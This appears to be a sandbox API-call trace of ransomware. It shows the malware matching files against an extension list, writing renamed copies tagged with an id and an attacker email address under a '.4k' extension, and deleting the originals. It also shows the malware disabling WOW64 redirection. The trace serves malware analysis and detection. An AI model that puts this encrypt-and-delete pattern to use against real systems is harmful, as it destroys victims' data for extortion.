	[0105.981] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.981] lstrlenW (lpString=".7z") returned 3
	[0105.981] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.981] lstrlenW (lpString=".dbf") returned 4
	[0105.981] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.981] lstrlenW (lpString=".1cd") returned 4
	[0105.982] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.982] lstrlenW (lpString=".jpg") returned 4
	[0105.982] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.982] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.982] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.334] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=15737) returned 1
	[0106.334] CloseHandle (hObject=0x210) returned 1
	[0106.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20
	[0106.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.334] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.334] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0106.334] GetLastError () returned 0x0
	[0106.334] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x3d79, lpOverlapped=0x0) returned 1
	[0106.379] WriteFile (in: hFile=0x1f0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x3d80, lpOverlapped=0x0) returned 1
	[0106.380] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.380] WriteFile (in: hFile=0x1f0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.380] SetEndOfFile (hFile=0x1f0) returned 1
	[0106.380] CloseHandle (hObject=0x1f0) returned 1
	[0106.381] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.381] SetEndOfFile (hFile=0x210) returned 1
	[0106.382] CloseHandle (hObject=0x210) returned 1
	[0106.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1
	[0106.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.382] lstrlenW (lpString=".doc") returned 4
	[0106.382] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.383] lstrlenW (lpString=".docx") returned 5
	[0106.383] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.383] lstrlenW (lpString=".pdf") returned 4
	[0106.383] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.383] lstrlenW (lpString=".xls") returned 4
	[0106.383] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.383] lstrlenW (lpString=".xlsx") returned 5
	[0106.383] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.383] lstrlenW (lpString=".ppt") returned 4
	[0106.383] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.383] lstrlenW (lpString=".zip") returned 4
	[0106.384] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.384] lstrlenW (lpString=".rar") returned 4
	[0106.384] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.384] lstrlenW (lpString=".bz2") returned 4
	[0106.384] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.384] lstrlenW (lpString=".7z") returned 3
	[0106.384] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.384] lstrlenW (lpString=".dbf") returned 4
	[0106.384] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.384] lstrlenW (lpString=".1cd") returned 4
	[0106.384] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.384] lstrlenW (lpString=".jpg") returned 4
	[0106.384] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.384] lstrlenW (lpString=".doc") returned 4
	[0106.384] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.385] lstrlenW (lpString=".docx") returned 5
	[0106.385] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.385] lstrlenW (lpString=".pdf") returned 4
	[0106.385] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.385] lstrlenW (lpString=".xls") returned 4
	[0106.385] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.385] lstrlenW (lpString=".xlsx") returned 5
	[0106.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.385] lstrlenW (lpString=".ppt") returned 4
	[0106.385] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.385] lstrlenW (lpString=".zip") returned 4
	[0106.385] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.385] lstrlenW (lpString=".rar") returned 4
	[0106.385] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.385] lstrlenW (lpString=".bz2") returned 4
	[0106.385] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.385] lstrlenW (lpString=".7z") returned 3
	[0106.385] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.385] lstrlenW (lpString=".dbf") returned 4
	[0106.385] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.385] lstrlenW (lpString=".1cd") returned 4
	[0106.385] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76
	[0106.385] lstrlenW (lpString=".jpg") returned 4
	[0106.385] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.386] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.386] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.386] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=47962) returned 1
	[0106.387] CloseHandle (hObject=0x210) returned 1
	[0106.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20
	[0106.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.387] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.387] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0106.387] GetLastError () returned 0x0
	[0106.388] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0xbb5a, lpOverlapped=0x0) returned 1
	[0106.465] WriteFile (in: hFile=0x1f0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xbb60, lpOverlapped=0x0) returned 1
	[0106.466] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.466] WriteFile (in: hFile=0x1f0, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0106.466] SetEndOfFile (hFile=0x1f0) returned 1
	[0106.467] CloseHandle (hObject=0x1f0) returned 1
	[0106.467] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.467] SetEndOfFile (hFile=0x210) returned 1
	[0106.468] CloseHandle (hObject=0x210) returned 1
	[0106.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0106.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1
	[0106.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.469] lstrlenW (lpString=".doc") returned 4
	[0106.469] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.469] lstrlenW (lpString=".docx") returned 5
	[0106.469] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.469] lstrlenW (lpString=".pdf") returned 4
	[0106.469] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.469] lstrlenW (lpString=".xls") returned 4
	[0106.469] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.469] lstrlenW (lpString=".xlsx") returned 5
	[0106.469] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.469] lstrlenW (lpString=".ppt") returned 4
	[0106.469] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.469] lstrlenW (lpString=".zip") returned 4
	[0106.469] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.469] lstrlenW (lpString=".rar") returned 4
	[0106.470] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.470] lstrlenW (lpString=".bz2") returned 4
	[0106.470] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString=".7z") returned 3
	[0106.470] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.470] lstrlenW (lpString=".dbf") returned 4
	[0106.470] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.470] lstrlenW (lpString=".1cd") returned 4
	[0106.470] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.470] lstrlenW (lpString=".jpg") returned 4
	[0106.470] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.470] lstrlenW (lpString=".doc") returned 4
	[0106.470] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString=".docx") returned 5
	[0106.470] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0106.470] lstrlenW (lpString=".pdf") returned 4
	[0106.470] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0106.470] lstrlenW (lpString=".xls") returned 4
	[0106.470] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0106.470] lstrlenW (lpString=".xlsx") returned 5
	[0106.470] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0106.470] lstrlenW (lpString=".ppt") returned 4
	[0106.470] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0106.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.471] lstrlenW (lpString=".zip") returned 4
	[0106.471] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0106.471] lstrlenW (lpString=".rar") returned 4
	[0106.471] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0106.471] lstrlenW (lpString=".bz2") returned 4
	[0106.471] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0106.471] lstrlenW (lpString=".7z") returned 3
	[0106.471] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0106.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.471] lstrlenW (lpString=".dbf") returned 4
	[0106.471] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0106.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.471] lstrlenW (lpString=".1cd") returned 4
	[0106.471] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0106.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76
	[0106.471] lstrlenW (lpString=".jpg") returned 4
	[0106.471] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0106.471] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0106.471] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0106.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.472] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=29305) returned 1
	[0106.472] CloseHandle (hObject=0x210) returned 1
	[0106.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20
	[0106.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0106.472] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.472] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0106.531] GetLastError () returned 0x0
	[0106.531] ReadFile (in: hFile=0x210, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x7279, lpOverlapped=0x0) returned 1
	[0106.742] WriteFile (hFile=0x1e8, lpBuffer=0x3120020, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0) 

Thread:
	id = 12
	os_tid = 0xa70

	[0087.588] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x55feb0
	[0087.589] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x56feb8
	[0087.589] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0290
	[0087.589] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f3058
	[0087.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0230
	[0087.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3370020
	[0087.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0248
	[0087.590] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0248, Size=0x20) returned 0x4d5d40
	[0087.590] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0248
	[0087.590] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0248, Size=0x20) returned 0x4d5bd8
	[0087.590] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0087.590] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0087.590] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff58 | out: OldValue=0x2c4ff58*=0x0) returned 1
	[0087.591] lstrlenW (lpString="kernel32.dll") returned 12
	[0087.591] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5d40 | out: hHeap=0x4a0000) returned 1
	[0087.591] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0087.591] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d5bd8 | out: hHeap=0x4a0000) returned 1
	[0087.591] Sleep (dwMilliseconds=0x64) 
	[0087.980] Sleep (dwMilliseconds=0x64) 
	[0088.168] Sleep (dwMilliseconds=0x64) 
	[0088.480] Sleep (dwMilliseconds=0x64) 
	[0088.616] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0088.616] lstrlenW (lpString="Setup.xml") returned 9
	[0088.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.056] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2296) returned 1
	[0089.056] CloseHandle (hObject=0x18c) returned 1
	[0089.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0089.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.057] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.057] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0089.057] GetLastError () returned 0x0
